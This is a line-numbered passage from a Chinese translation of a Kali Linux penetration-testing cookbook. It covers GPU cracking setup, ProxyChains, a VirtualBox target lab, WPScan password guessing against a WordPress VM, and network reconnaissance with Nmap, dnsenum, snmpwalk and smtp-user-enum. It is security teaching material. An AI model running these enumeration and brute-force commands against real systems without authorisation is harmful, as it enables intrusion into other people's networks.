CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include')) 251 | ``` 252 | 253 | 把它改成: 254 | 255 | ```py 256 | CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include/CAL')) 257 | ``` 258 | 259 | 2. 最后将ATI GPU模块添加到pyrit: 260 | 261 | ``` 262 | python setup.py build 263 | python setup.py install 264 | ``` 265 | 266 | > 为了展示可用的CAL++设备和CPU的核数,我们需要键入下列命令: 267 | 268 | > ``` 269 | > pyrit list_cores 270 | > ``` 271 | 272 | > 为了进行跑分,我们只需要键入: 273 | 274 | > ``` 275 | > pyrit benchmark 276 | > ``` 277 | 278 | ## 2.4 安装和配置英伟达显卡驱动 279 | 280 | 这个秘籍中,我们会拥抱CUDA,英伟达的并行计算架构。在CUDA工具包的安装之后,首先会安装英伟达开发者显示驱动。通过使用GPU的威力,这会带来计算性能的戏剧性提升,它们通常用于一些类似密码破解的场合。 281 | 282 | > 有关CUDA的更多信息,请浏览[他们的官方网站](http://www.nvidia.com/object/cuda_home_new.html)。 283 | 284 | ### 准备 285 | 286 | 需要网络连接来完成这个秘籍。 287 | 288 | 同时需要在开始之前准备内核头文件,这在第一节中有所涉及。 289 | 290 | 为了完成英伟达驱动的安装,需要关闭X会话。 291 | 292 | ### 操作步骤 293 | 294 | 让我们开始安装和配置英伟达显卡驱动: 295 | 296 | 1. 下载英伟达开发者显示驱动,根据你的CPU架构: 297 | 298 | ``` 299 | cd /tmp/ 300 | wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/ drivers/NVIDIA-Linux-x86_64-285.05.33.run 301 | ``` 302 | 303 | ![](img/2-4-1.jpg) 304 | 305 | 2. 安装驱动: 306 | 307 | ``` 308 | chmod +x NVIDIA-Linux-x86_64-285.05.33.run 309 | ./NVIDIA-Linux-x86_64-285.05.33.run –kernel-source-path='/usr/src/ linux' 310 | ``` 311 | 312 | 3. 下载CUDA工具包: 313 | 314 | ``` 315 | wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/ toolkit/cudatoolkit_4.1.28_linux_64_ubuntu11.04.run 316 | ``` 317 | 318 | 4. 安装CUDA工具包到`/opt`: 319 | 320 | ``` 321 | chmod +x cudatoolkit_4.1.28_linux_64_ubuntu11.04.run 322 | ./cudatoolkit_4.1.28_linux_64_ubuntu11.04.runConfigure the environment variables required for nvcc to work: 323 | echo PATH=$PATH:/opt/cuda/bin >> ~/.bashrc 324 | echo LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/cuda/lib >> ~/.bashrc 325 | echo export PATH >> ~/.bashrc 326 | echo export LD_LIBRARY_PATH >> ~/.bashrc 327 | ``` 328 | 329 | 5. 运行以下命令来使变量生效: 330 | 331 | ``` 332 | source ~/.bashrc 333 | ldconfig 334 | ``` 335 | 336 | 6. 安装`pyrit`的依赖: 337 | 338 | ``` 339 | apt-get install libssl-dev python-dev python-scapy 340 | ``` 341 | 342 | 7. 下载并安装GPU增效工具`pyrit`: 343 | 344 | ``` 345 | svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src 346 | cd pyrit_src/pyrit 347 | python setup.py build 348 | python setup.py install 349 | ``` 350 | 351 | 8. 最后,将英伟达GPU模块添加到`pyrit`: 352 | 353 | ``` 354 | cd /tmp/pyrit_src/cpyrit_cuda 355 | python setup.py 356 | build python setup.py install 357 | ``` 358 | 359 | > 为了验证`nvcc`是否正确安装,我们需要键入下列命令: 360 | 361 | > ``` 362 | > nvcc -V 363 | > ``` 364 | 365 | > 为了进行跑分,我们只需要键入下列命令: 366 | 367 | > ``` 368 | > pyrit benchmark 369 | > ``` 370 | 371 | ## 2.5 升级和配置额外的安全工具 372 | 373 | 这个秘籍中,我们会涉及到升级Kali,以及配置一些额外的工具,它们对于之后的章节和秘籍十分实用。由于Kali的包在发布之间会不断升级,你很快就会发现比起之前在你的DVD中下载好的工具,又提供了一系列新的工具。我们会以升级来开始,之后获得Nessus的激活码,并以安装Squid来结束。 374 | 375 | ### 操作步骤 376 | 377 | 让我们开始进行升级,以及配置额外的安全工具。 378 | 379 | 1. 使用仓库中最新的修改来更新本地的包索引: 380 | 381 | ``` 382 | apt-get update 383 | ``` 384 | 385 | 2. 升级现有的包: 386 | 387 | ``` 388 | apt-get upgrade 389 | ``` 390 | 391 | 3. 升级到最新版本(如果可用的话): 392 | 393 | ``` 394 | apt-get dist-upgrade 395 | ``` 396 | 397 | 4. 获得Nessus的激活码,通过在[这里]( http://www.nessus.org/ products/nessus/nessus-plugins/obtain-an-activation-code)注册。 398 | 399 | 5. 通过执行下列命令来激活Nessus: 400 | 401 | ``` 402 | /opt/nessus/bin/nessus-fetch --register A60F-XXXX-XXXX-XXXX-0006 403 | ``` 404 | 405 | 其中`A60F-XXXX-XXXX-XXXX-0006`应为你的激活码。 406 | 407 | 6. 为Nessus Web界面创建账户: 408 | 409 | ``` 410 | /opt/nessus/sbin/nessus-adduser 411 | ``` 412 | 413 | 7. 为了启动Nessus服务器,我们只需要执行下列命令: 414 | 415 | ``` 416 | /etc/init.d/nessusd start 417 | ``` 418 | 419 | 8. 安装Squid: 420 | 421 | ``` 422 | apt-get install squid3 423 | ``` 424 | 425 | 9. 阻止Squid在启动时自动运行: 426 | 427 | ``` 428 | update-rc.d -f squid3 remove 429 | ``` 430 | 431 | > 为了在仓库中找到特定的包,我们可以在`apt-get update`之后使用下列命令: 432 | 433 | > ``` 434 | > apt-cache search 435 | > ``` 436 | 437 | > 其中``是包名称或者正则表达式。 438 | 439 | ## 2.6 配置ProxyChains 440 | 441 | 这个章节中,我们会强制指定应用的网络连接使用用户定义的代理列表,来打破接受者和发送者之间的直接连接。 442 | 443 | ### 操作步骤 444 | 445 | 1. 打开ProxyChains的配置文件: 446 | 447 | ``` 448 | vim /etc/proxychains.conf 449 | ``` 450 | 451 | 2. 解除我们打算使用的链接类型的注释,这里是`dynamic_chain`: 452 | 453 | ![](img/2-6-1.jpg) 454 | 455 | 3. 向列表中添加一些代理服务器: 456 | 457 | ![](img/2-6-2.jpg) 458 | 459 | 4. 使用我们的链式代理来解析目标主机: 460 | 461 | ``` 462 | proxyresolv www.targethost.com 463 | ``` 464 | 465 | 5. 现在可以在我们打算使用的应用上运行ProxyChains,例如`msfconsole`: 466 | 467 | ``` 468 | proxychains msfconsole 469 | ``` 470 | 471 | ## 2.7 目录加密 472 | 473 | 这一章的最后一个秘籍关于信息隐私。我们会使用TrueCrypt通过密钥来隐藏重要和私密的数字信息,远离公众的眼睛。 474 | 475 | ### 操作步骤 476 | 477 | 1. 通过访问`Applications Menu | Kali | Forensics | Digital Anti Forensics | install truecrypt`来安装TrueCrypt。 478 | 479 | ![](img/2-7-1.jpg) 480 | 481 | 点击`Install TrueCrypt`(安装TrueCrypt)并且遵循屏幕上的指导。 482 | 483 | 2. 从`Applications Menu | Kali Linux | Forensics | Digital Anti Forensics | truecrypt`运行TrueCrypt,你会看到下面的窗口: 484 | 485 | ![](img/2-7-2.jpg) 486 | 487 | 3. 点击`Create Volume`(新建卷)来启动`TrueCrypt Volume Creation Wizard`(TrueCrypt卷创建向导)。 488 | 489 | 4. 保留默认选项并点击`Next`。 490 | 491 | 5. 选择`Standard TrueCrypt`(标准TrueCrypt)模式并点击`Next`。 492 | 493 | 6. 点击`Select File…`(选择文件)按钮并为新的TrueCrypt卷指定名称和路径。完成后点击`Save`(保存)。 494 | 495 | ![](img/2-7-3.jpg) 496 | 497 | 7. 点击`Next`按钮并选择打算使用的加密和哈希算法。 498 | 499 | 8. 在下个屏幕中,我们会为容器指定空间总量。 500 | 501 | 9. 现在我们需要为我们的卷键入密码。点击`Next`。 502 | 503 | 0. 选择文件系统类型。 504 | 505 | 1. 按需选择`Cross-Platform Support`(跨平台支持)。 506 | 507 | 2. 在下个屏幕中,向导会让我们在窗口内移动鼠标,来增加加密密钥的密码强度。完成后点击`Format`(格式化)按钮。 508 | 509 | 3. 格式化会开始,完成时TrueCrypt的卷就创建好了。按下`OK`或`Exit`(退出)。 510 | 511 | 4. 我们现在回到TrupCrypt窗口。 512 | 513 | 5. 从列表中选择一个`Slot`(槽)来解密我们的卷,点击`Select File…`(选择文件),并打开我们创建的卷。 514 | 515 | 6. 点击`Mount`(挂载)并键入我们的密码,完成后点击`OK`。 516 | 517 | ![](img/2-7-4.jpg) 518 | 519 | 7. 我们现在可以通过在槽上双击或通过挂载目录来访问卷,以及在里面保存文件。当我们完成之后,只需要点击`Dismount All`(解除所有挂载)。 520 | 521 | ### 工作原理 522 | 523 | 这个秘籍中,我们配置了 Truecrypt,创建了保护卷,之后挂载了它。这是个用于保护数据安全性的实用工具。 524 | 525 | -------------------------------------------------------------------------------- /ch3.md: -------------------------------------------------------------------------------- 1 | # 第三章 高级测试环境 2 | 3 | > 作者:Willie L. Pritchett, David De Smet 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 既然我们已经了解了 Kali Linux 所包含的工具,现在我们要调查一些真实世界的场景。我们进行的许多攻击都有意在有漏洞的软件和系统上执行。但是,当你使用 Kali 攻击一个系统时,它不可能像我们当前的测试平台那样没有防护。 12 | 13 | 这一章中,我们会探索一些技巧,来建立起一些真实的测试环境。在当前的信息技术水平中,多数公司都使用平台即服务(PAAS)解决方案,云服务器主机,或者使用小型网络,它们由桌面、服务器和防火墙(单独)或防火墙和路由的组合组成。我们会建立这些环境,之后对它们发起攻击。 14 | 15 | 我们所有攻击的目的都是获取 root 级别的访问。 16 | 17 | ## 3.1 熟悉 VirtualBox 18 | 19 | 在第一章(安装和启动Kali)中,我们简要谈多了 VirtualBox 的用法,便于在虚拟环境中安装 Kali Linux。VirtualBox 是 Oracle 的现有产品,并且作为应用运行在宿主操作系统上。它通过创建虚拟环境允许操作系统安装并运行。这个工具极其重要,可以提供靶机来测试你的 Kali Linux 技巧。 20 | 21 | 这一章中,我们会极大依赖VirtualBox,并且会修改它的配置来得到我们希望的网络配置类型。我们将这一节作为每个场景单元的起点,所以关键要熟悉这些步骤。 22 | 23 | ### 准备 24 | 25 | 需要因特网或内部网络的链接来完成这个模块。 26 | 27 | ### 操作步骤 28 | 29 | 让我们通过打开VirtualBox 来开始: 30 | 31 | 1. 启动VirtualBox ,并点击`New`来开启虚拟机向导: 32 | 33 | ![](img/3-1-1.jpg) 34 | 35 | 2. 点击`Next`按钮,输入虚拟机的名称,并选择 OS 类型和版本:这一章中我们会使用 Linux、Solaris 或 Windows 操作系统。选择合适的操作系统并点击`Next`按钮来继续: 36 | 37 | ![](img/3-1-2.jpg) 38 | 39 | 3. 选择基本内存(RAM)的总量,它们会分配给虚拟机。我们使用默认值。点击`Next`。 40 | 41 | 4. 为新的虚拟机创建新的虚拟硬盘,点击`Next`按钮。 42 | 43 | ![](img/3-1-3.jpg) 44 | 45 | 5. 新的向导窗口会打开。保留默认的 VDI 文件类型,因为我们不打算使用其它可视化软件。 46 | 47 | 6. 我们会在虚拟磁盘储存上保留默认选项。点击`Next`来继续。 48 | 49 | 7. 设置虚拟磁盘文件位置和大小: 50 | 51 | ![](img/3-1-4.jpg) 52 | 53 | 8. 检查设置是否正确,并且点击`Create`按钮来开始创建虚拟磁盘文件。 54 | 55 | 9. 我们现在回到前一个向导,展示了虚拟机参数的汇总。点击`Create`来结束: 56 | 57 | ![](img/3-1-5.jpg) 58 | 59 | 0. 创建新的虚拟机之后,我们准备好了安装操作系统,它刚刚在 VirtualBox中配置好。 60 | 61 | 1. 在VirtualBox的主窗口中,选中我们刚刚创建的操作系统名称,之后点击`Settings`按钮: 62 | 63 | ![](img/3-1-6.jpg) 64 | 65 | 2. 既然基本的安装步骤已经完成了,我们现在使用下载的 ISO 文件作为虚拟光盘。这会节省你烧录物理 DVD 来完成安装的时间。在`Settings`界面,点击`Storage`菜单项: 66 | 67 | ![](img/3-1-7.jpg) 68 | 69 | 3. 之后,在`Storage Tree`下面,选中`Controller: IDE`下面的`Empty`光盘图标。这会选择我们的“虚拟” CD/DVD ROM 驱动。在屏幕的右边,`Attribute`下面,点击光盘图标。在弹出的菜单中,从列表中选择你的 ISO 文件。如果 ISO 文件没有出现,选择`Choose a virtual CD/DVD disc file... `选项并找到你的 ISO。一旦你完成了这些步骤,点击`OK`按钮。 70 | 71 | ![](img/3-1-8.jpg) 72 | 73 | 4. 点击`Start`按钮,之后点击内部的新窗口,并执行安装。安装步骤在这一章的“安装到硬盘”中有所涉及。 74 | 75 | ### 工作原理 76 | 77 | 这一章以创建新的VirtualBox虚拟实例来开始,之后我们选择了我们的操作系统,并设置内存和硬盘大小。之后,我们选择了 ISO 文件,之后将 ISO 插入我们的虚拟 CD/DVD 驱动器中。最后,我们启动了虚拟环境,便于安装操作系统。 78 | 79 | 在这一章的剩余部分中,我们会使用VirtualBox作为所选工具来建立不同的环境。 80 | 81 | ### 更多 82 | 83 | 我们所执行的操作可能会让主机不稳定甚至崩溃。VirtualBox提供了杰出的工具来备份虚拟环境: 84 | 85 | 1. 在主窗口中,点击你打算备份的虚拟服务器: 86 | 87 | 2. 右击虚拟服务器,点击`Clone`菜单项: 88 | 89 | ![](img/3-1-9.jpg) 90 | 91 | 3. 在克隆窗口中,为你的新虚拟服务器输入名称。 92 | 93 | ![](img/3-1-10.jpg) 94 | 95 | 4. 点击`Next`,在随后的界面中,选择`Linked clone `或`Full clone`,它们在下面展示: 96 | 97 | + `Full clone`:在完整克隆的模式中,会创建完全独立的虚拟机备份。 98 | + `Linked clone`:在链接克隆的模式中,会截取快照来创建备份。但是,链接克隆依赖于原始文件的功能。这会降低链接克隆的性能。 99 | 100 | ![](img/3-1-11.jpg) 101 | 102 | 5. 点击`Clone`并等待虚拟机克隆完成。 103 | 104 | ![](img/3-1-12.jpg) 105 | 106 | ## 3.2 下载 Windows 靶机 107 | 108 | 到目前为止,以及可见的未来中,微软的 Windows 系统都是许多个人和企业所选的操作系统。 109 | 110 | 幸运的是,微软提供了一种方法来获取测试操作系统。 111 | 112 | ### 准备 113 | 114 | 需要互联网或内部网络连接来完成这个模块。 115 | 116 | ### 操作步骤 117 | 118 | 下载 Windows 靶机的步骤如下所示: 119 | 120 | 1. 打开浏览器并访问 Microsoft Technet:。 121 | 122 | 2. 在屏幕的右侧,点击`Downloads`链接: 123 | 124 | ![](img/3-2-1.jpg) 125 | 126 | 3. 在`Download`菜单项中,选择`Evaluate new products`。 127 | 128 | ![](img/3-2-2.jpg) 129 | 130 | 4. 在下一个界面中,你可以选择要下载的东西,取决于你想要测试的产品。推荐你选择 Windows Server 2012,Windows 8 和 Windows 7。 131 | 132 | ![](img/3-2-3.jpg) 133 | 134 | 5. 一旦你下载了 ISO,请遵循这一章“熟悉VirtualBox”秘籍中的指南。 135 | 136 | 137 | ## 3.3 下载 Linux 靶机 138 | 139 | 对于多数的面向 Web 的服务器的部署,Linux 是一种备选的操作系统。与 Windows 先比,它的开销相对较低(主流发行版免费),这使它成为多数云主机、PAAS和服务器环境的理想操作系统。 140 | 141 | 这个秘籍中,我们会示例如何下载多种 Linux 发行版。 142 | 143 | ### 准备 144 | 145 | 需要互联网或内部网络连接来完成这个模块。 146 | 147 | ### 操作步骤 148 | 149 | 下载 Linux 靶机的步骤如下所示: 150 | 151 | 1. 打开浏览器并访问 Distro Watch:。 152 | 153 | 2. 你会看到超过 100 个 Linux 发行版的列表。推荐选择一个最小的发行版,而不是流行的版本(CentOS、Ubuntu、Fedora 和 Debian)。这个页面像下面这样: 154 | 155 | ![](img/3-3-1.jpg) 156 | 157 | 3. 一旦你下载了 ISO,请遵循这一章“熟悉VirtualBox”秘籍中的指南。 158 | 159 | ## 3.4 攻击 WordPress 和其它应用 160 | 161 | 选择越来越多的公司在日常业务中使用 SAAS (软件及服务)工具。例如,公司普遍使用 WordPress作为网站的内容管理系统,或 Drupal 作为内部网络。在这些应用中定位漏洞的能力具有极大的价值。 162 | 163 | 收集被测试应用的一个很好的方式就是 [Turnkey Linux](http://www. turnkeylinux.org)。这个秘籍中,我们会下载流行的 WordPress Turnkey Linux 发行版。 164 | 165 | ### 准备 166 | 167 | 需要互联网或内部网络连接来完成这个模块。 168 | 169 | ### 操作步骤 170 | 171 | 攻击 WordPress 应用的步骤如下所示: 172 | 173 | 1. 打开浏览器并访问 Turnkey Linux 的主页:。主页如图所示: 174 | 175 | ![](img/3-4-1.jpg) 176 | 177 | 2. 有许多应用在这里列出,我推荐都试试它们,便于你发现漏洞并提升这方面的技能。但是,对于这个秘籍,我们只测试 WordPress。在` Instant Search`框中,输入`WordPress`。 178 | 179 | ![](img/3-4-2.jpg) 180 | 181 | 3. 在 WordPress 下载页面中,选择 ISO 镜像。下载完成后,请遵循这一章“熟悉VirtualBox”秘籍中的指南: 182 | 183 | ![](img/3-4-3.jpg) 184 | 185 | ### 更多 186 | 187 | 既然我们加载的 WordPress 虚拟机,我们可以使用 WPScan 来攻击它了。WPScan 是个黑盒的 WordPress 安全扫描器,允许用户发现 WordPress 上的漏洞。 188 | 189 | WPScan 接受多种参数,包括: 190 | 191 | + `-u <目标域名或 url>`:参数`u`允许你指定目标的域名。 192 | 193 | + `-f`:参数`f`允许你强制检查WordPress是否安装。 194 | 195 | + `-e[选项]`:参数`e`允许你设置枚举。 196 | 197 | 让我们开始使用 WPScan。 198 | 199 | > 确保你的 WordPress虚拟机和 Kali Linux 虚拟机都开着,并使用`VirtualBox Host Only Adapter `网络设置。 200 | 201 | 1. 在 Kali Linux 虚拟机中,加载器 WPScan 帮助文件: 202 | 203 | ``` 204 | wpscan -h 205 | ``` 206 | 207 | 页面会像下面这样: 208 | 209 | ![](img/3-4-4.jpg) 210 | 211 | 2. 让我们对WordPress虚拟机执行基本的 WPScan测试。这里,我们靶机的IP地址是`192.168.56.102`。 212 | 213 | ``` 214 | wpscan –u 192.168.56.102 215 | ``` 216 | 3. 现在,让我们通过执行下列命令枚举用户名列表: 217 | 218 | ``` 219 | wpscan –u 192.186.56.102 –e u vp 220 | ``` 221 | 222 | 页面会像下面这样: 223 | 224 | ![](img/3-4-5.jpg) 225 | 226 | 4. 最后,我们通过使用`–wordlist <文件路径>`选项来提供单词列表: 227 | 228 | ``` 229 | wpscan –u 192.168.56.102 -e u --wordlist /root/wordlist.txt 230 | ``` 231 | 232 | 页面会像下面这样: 233 | 234 | ![](img/3-4-6.jpg) 235 | 236 | 5. 这就结束了。我们已经成功获取了 WordPress 的密码。 237 | -------------------------------------------------------------------------------- /ch4.md: -------------------------------------------------------------------------------- 1 | # 第四章 信息收集 2 | 3 | > 作者:Willie L. Pritchett, David De Smet 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 攻击的重要阶段之一就是信息收集。为了能够实施攻击,我们需要收集关于目标的基本信息。我们获得的信息越多,攻击成功的概率就越高。 12 | 13 | 我也强调这一阶段的一个重要方面,它就是记录。在编写这本书的时候,最新的Kali发行版包含了一组工具用于帮助我们核对和组织来自目标的数据,以便我们更好地侦查目标。类似Maltego CaseFile和 KeepNote的工具就是一个例子。 14 | 15 | ## 4.1 服务枚举 16 | 17 | 在这个秘籍中,我们将会展示一些服务枚举的小技巧。枚举是我们从网络收集信息的过程。我们将要研究DNS枚举和SNMP枚举技术。DNS枚举是定位某个组织的所有DNS服务器和DNS条目的过程。DNS枚举允许我们收集有关该组织的重要信息,例如用户名、计算机名称、IP地址以及其它。为了完成这些任务我们会使用DNSenum。对于SNMP枚举,我们会使用叫做SnmpEnum的工具,它是一个强大的SNMP枚举工具,允许我们分析网络上的SNMP流量。 18 | 19 | ### 操作步骤 20 | 21 | 让我们以DNS枚举作为开始: 22 | 23 | 1. 我们使用DNSenum进行DNS枚举。为了开始DNS枚举,打开Gnome终端,并且输入以下命令: 24 | 25 | ``` 26 | cd /usr/bin 27 | ./dnsenum --enum adomainnameontheinternet.com 28 | ``` 29 | 30 | > 请不要在不属于你的公共网站或者不是你自己的服务器上运行这个工具。这里我们将`adomainnameontheinternet.com`作为一个例子,你应该替换掉这个目标。要当心! 31 | 32 | 2. 我们需要获取信息输出,例如主机、名称服务器、邮件服务器,如果幸运的话还可以得到区域转换: 33 | 34 | ![](img/4-1-1.jpg) 35 | 36 | 3. 我们可以使用一些额外的选项来运行DNSenum,它们包括这些东西: 37 | 38 | + `-- threads [number]`允许你设置一次所运行的线程数量。 39 | + `-r`允许你开启递归查找。 40 | + `-d`允许你设置在WHOIS请求之间的时间延迟,单位为秒。 41 | + `-o`允许我们制定输出位置。 42 | + `-w`允许我们开启WHOIS查询。 43 | 44 | > 更多WHOIS上的例子,请见[WHOIS的维基百科](http://en.wikipedia.org/wiki/Whois)。 45 | 46 | 4. 我们可以使用另一个命令`snmpwalk`来检测Windows主机。Snmpwalk是一个使用SNMP GETNEXT请求在网络实体中查询信息树的SNMP应用。在命令行中键入下列命令: 47 | 48 | ``` 49 | snmpwalk -c public 192.168.10.200 -v 2c 50 | ``` 51 | 52 | 5. 我们也可以枚举安装的软件: 53 | 54 | ``` 55 | snmpwalk -c public 192.168.10.200 -v 1 | grep hrSWInstalledName 56 | 57 | HOST-RESOURCES-MIB::hrSWInstalledName.1 = STRING: "VMware Tools" 58 | HOST-RESOURCES-MIB::hrSWInstalledName.2 = STRING: "WebFldrs" 59 | ``` 60 | 61 | 6. 以及使用相同工具枚举开放的TCP端口: 62 | 63 | ``` 64 | snmpwalk -c public 192.168.10.200 -v 1 | grep tcpConnState | cut -d"." -f6 | sort –nu 65 | 66 | 21 67 | 25 68 | 80 69 | 443 70 | ``` 71 | 72 | 7. 另一个通过SNMP收集信息的工具叫做`snmpcheck`: 73 | 74 | ``` 75 | cd /usr/bin 76 | snmpcheck -t 192.168.10.200 77 | ``` 78 | 79 | 8. 为了使用fierce(一个尝试多种技术来寻找所有目标所用的IP地址和域名的工具)进行域名扫描,我们可以键入以下命令: 80 | 81 | ``` 82 | cd /usr/bin 83 | fierce -dns adomainnameontheinternet.com 84 | ``` 85 | 86 | > 请不要在不属于你的公共网站或者不是你自己的服务器上运行这个工具。这里我们将`adomainnameontheinternet.com`作为一个例子,你应该替换掉这个目标。要当心! 87 | 88 | 9. 为了以指定的词语列表进行相同的操作,键入以下命令: 89 | 90 | ``` 91 | fierce -dns adomainnameontheinternet.com -wordlist hosts.txt -file /tmp/output.txt 92 | ``` 93 | 94 | 0. 为了在SMTP服务器上启动用户的SMTP枚举,键入以下命令: 95 | 96 | ``` 97 | smtp-user-enum -M VRFY -U /tmp/users.txt -t 192.168.10.200 98 | ``` 99 | 100 | 1. 我们现在可以记录所获得的结果了。 101 | 102 | ## 4.2 判断网络范围 103 | 104 | 使用上一节中我们所收集的信息,我们就能着眼于判断目标网络的IP地址范围。在这个秘籍中我们将要探索完成它所用的工具。 105 | 106 | ### 操作步骤 107 | 108 | 让我们通过打开终端窗口来开始判断网络范围: 109 | 110 | 1. 打开新的终端窗口,并且键入以下命令: 111 | 112 | ``` 113 | dmitry -wnspb targethost.com -o /root/Desktop/dmitry-result 114 | ``` 115 | 116 | 2. 完成之后,我们应该在桌面上得到了一个文本文件,名称为`dmitry-result.txt`,含有收集到的目标信息: 117 | 118 | ![](img/4-2-1.jpg) 119 | 120 | 3. 键入以下命令来执行ICMP netmask请求: 121 | 122 | ``` 123 | netmask -s targethost.com 124 | ``` 125 | 126 | 4. 使用scapy,我们就可以执行并行路由跟踪。键入以下命令来启动它: 127 | 128 | ``` 129 | scapy 130 | ``` 131 | 132 | 5. scapy启动之后,我们现在可以输入以下函数: 133 | 134 | ``` 135 | ans,unans=sr(IP(dst="www.targethost.com/30", ttl=(1,6))/TCP() 136 | ``` 137 | 138 | 6. 我们可以输入以下函数来将结果展示为表格: 139 | 140 | ``` 141 | ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) ) 142 | ``` 143 | 144 | 结果如下: 145 | 146 | ``` 147 | 216.27.130.162 216.27.130.163 216.27.130.164 216.27.130.165 148 | 1 192.168.10.1 192.168.10.1 192.168.10.1 192.168.10.1 149 | 2 51.37.219.254 51.37.219.254 51.37.219.254 51.37.219.254 150 | 3 223.243.4.254 223.243.4.254 223.243.4.254 223.243.4.254 151 | 4 223.243.2.6 223.243.2.6 223.243.2.6 223.243.2.6 152 | 5 192.251.254.1 192.251.251.80 192.251.254.1 192.251.251.80 153 | ``` 154 | 155 | 7. 我们需要键入以下函数来使用scapy获得TCP路由踪迹: 156 | 157 | ``` 158 | res,unans=traceroute(["www.google.com","www.Kali- linux.org","www.targethost.com"],dport=[80,443],maxttl=20, retry=-2) 159 | ``` 160 | 161 | 8. 我们只需要键入以下函数来将结果展示为图片: 162 | 163 | ``` 164 | res.graph() 165 | ``` 166 | 167 | ![](img/4-2-2.jpg) 168 | 169 | 9. 保存图片只需要下列命令: 170 | 171 | ``` 172 | res.graph(target="> /tmp/graph.svg") 173 | ``` 174 | 175 | 0. 我们可以生成3D展示的图片,通过键入下列函数来实现: 176 | 177 | ``` 178 | res.trace3D() 179 | ``` 180 | 181 | 1. 键入以下命令来退出scapy: 182 | 183 | ``` 184 | exit() 185 | ``` 186 | 187 | 2. 在获得结果之后,我们现在可以对其做记录。 188 | 189 | ### 工作原理 190 | 191 | 在步骤1中,我们使用了`dmitry`来获取目标信息。参数`-wnspub`允许我们在域名上执行WHOIS查询,检索`Netcraft.com`的信息,搜索可能的子域名,以及扫描TCP端口。选项`-o`允许我们将结果保存到文本文件中。在步骤3中,我们建立了一个简单的ICMP netmask请求,带有`-s`选项,来输出IP地址和子网掩码。接下来,我们使用scapy来执行目标上的并行路由跟踪,并在表格中展示结果。在步骤7中,我们在不同主机的80和443端口上执行了TCP路由跟踪,并且将最大TTL设置为20来停止这个过程。在获得结果之后,我们创建了它的图片表示,将它保存到临时目录中,同时创建了相同结果的3D表示。最后,我们退出了scapy。 192 | 193 | ## 4.3 识别活动主机 194 | 195 | 在尝试渗透之前,我们首先需要识别目标网络范围内的活动主机。 196 | 197 | 一个简单的方法就是对目标网络执行`ping`操作。当然,这可以被主机拒绝或忽略,这不是我们希望的。 198 | 199 | ### 操作步骤 200 | 201 | 让我们打开终端窗口,开始定位活动主机: 202 | 203 | 1. 我们可以使用Nmap来判断某个主机是否打开或关闭,像下面这样: 204 | 205 | ``` 206 | nmap -sP 216.27.130.162 207 | 208 | Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-27 23:30 CDT 209 | Nmap scan report for test-target.net (216.27.130.162) 210 | Host is up (0.00058s latency). 211 | Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds 212 | ``` 213 | 214 | 2. 我们也可以使用Nping(Nmap组件),它提供给我们更详细的结果: 215 | 216 | ``` 217 | nping --echo-client "public" echo.nmap.org 218 | ``` 219 | 220 | ![](img/4-3-1.jpg) 221 | 222 | 3. 我们也可以向指定端口发送一些十六进制数据: 223 | 224 | ``` 225 | nping -tcp -p 445 –data AF56A43D 216.27.130.162 226 | ``` 227 | 228 | ## 4.4 寻找开放端口 229 | 230 | 在了解目标网络范围和活动主机之后,我们需要执行端口扫描操作来检索开放的TCP和UDP端口和接入点。 231 | 232 | ### 准备 233 | 234 | 完成这个秘籍需要启动Apache Web服务器。 235 | 236 | ### 操作步骤 237 | 238 | 让我们通过打开终端窗口,开始寻找开放端口: 239 | 240 | 1. 运行终端窗口并输入下列命令作为开始: 241 | 242 | ``` 243 | nmap 192.168.56.101 244 | ``` 245 | 246 | ![](img/4-4-1.jpg) 247 | 248 | 2. 我们也可以显式指定要扫描的端口(这里我们指定了1000个端口): 249 | 250 | ``` 251 | nmap -p 1-1000 192.168.56.101 252 | ``` 253 | 254 | ![](img/4-4-2.jpg) 255 | 256 | 3. 或指定Nmap来扫描某个组织所有网络的TCP 22端口: 257 | 258 | ``` 259 | nmap -p 22 192.168.56.* 260 | ``` 261 | 262 | ![](img/4-4-3.jpg) 263 | 264 | 4. 或者以特定格式输出结果: 265 | 266 | ``` 267 | nmap -p 22 192.168.10.* -oG /tmp/nmap-targethost-tcp445.tx 268 | ``` 269 | 270 | ### 工作原理 271 | 272 | 这个秘籍中,我们使用Nmap来扫描我们网络上的目标主机,并判断开放了哪个端口。 273 | 274 | 275 | ### 更多 276 | 277 | Nmap的GUI版本叫做Zenmap,它可以通过在终端上执行`zenmap`命令,或者访问`Applications | Kali Linux | Information Gathering | Network Scanners | zenmap`来启动。 278 | 279 | ![](img/4-4-4.jpg) 280 | 281 | ## 4.5 操作系统指纹识别 282 | 283 | 到信息收集的这个步骤,我们应该记录了一些IP地址,活动主机,以及所识别的目标组织的开放端口。下一步就是判断活动主机上运行的操作系统,以便了解我们所渗透的系统类型。 284 | 285 | ### 准备 286 | 287 | 需要用到Wireshark捕获文件来完成这个秘籍的步骤2。 288 | 289 | ### 操作步骤 290 | 291 | 让我们在终端窗口中进行OS指纹识别: 292 | 293 | 1. 我们可以使用Nmap执行下列命令,带有`-O`命令来开启OS检测功能: 294 | 295 | ``` 296 | nmap -O 192.168.56.102 297 | ``` 298 | 299 | ![](img/4-5-1.jpg) 300 | 301 | 2. 使用`p0f`来分析Wireshark捕获文件: 302 | 303 | ``` 304 | p0f -s /tmp/targethost.pcap -o p0f-result.log -l 305 | 306 | p0f - passive os fingerprinting utility, version 2.0.8 307 | (C) M. Zalewski , W. Stearns 308 | 309 | p0f: listening (SYN) on 'targethost.pcap', 230 sigs (16 generic), rule: 'all'. 310 | [+] End of input file. 311 | ``` 312 | 313 | ## 4.6 服务指纹识别 314 | 315 | 判断运行在特定端口上的服务是目标网络上成功渗透的保障。它也会排除任何由OS指纹之别产生的疑惑。 316 | 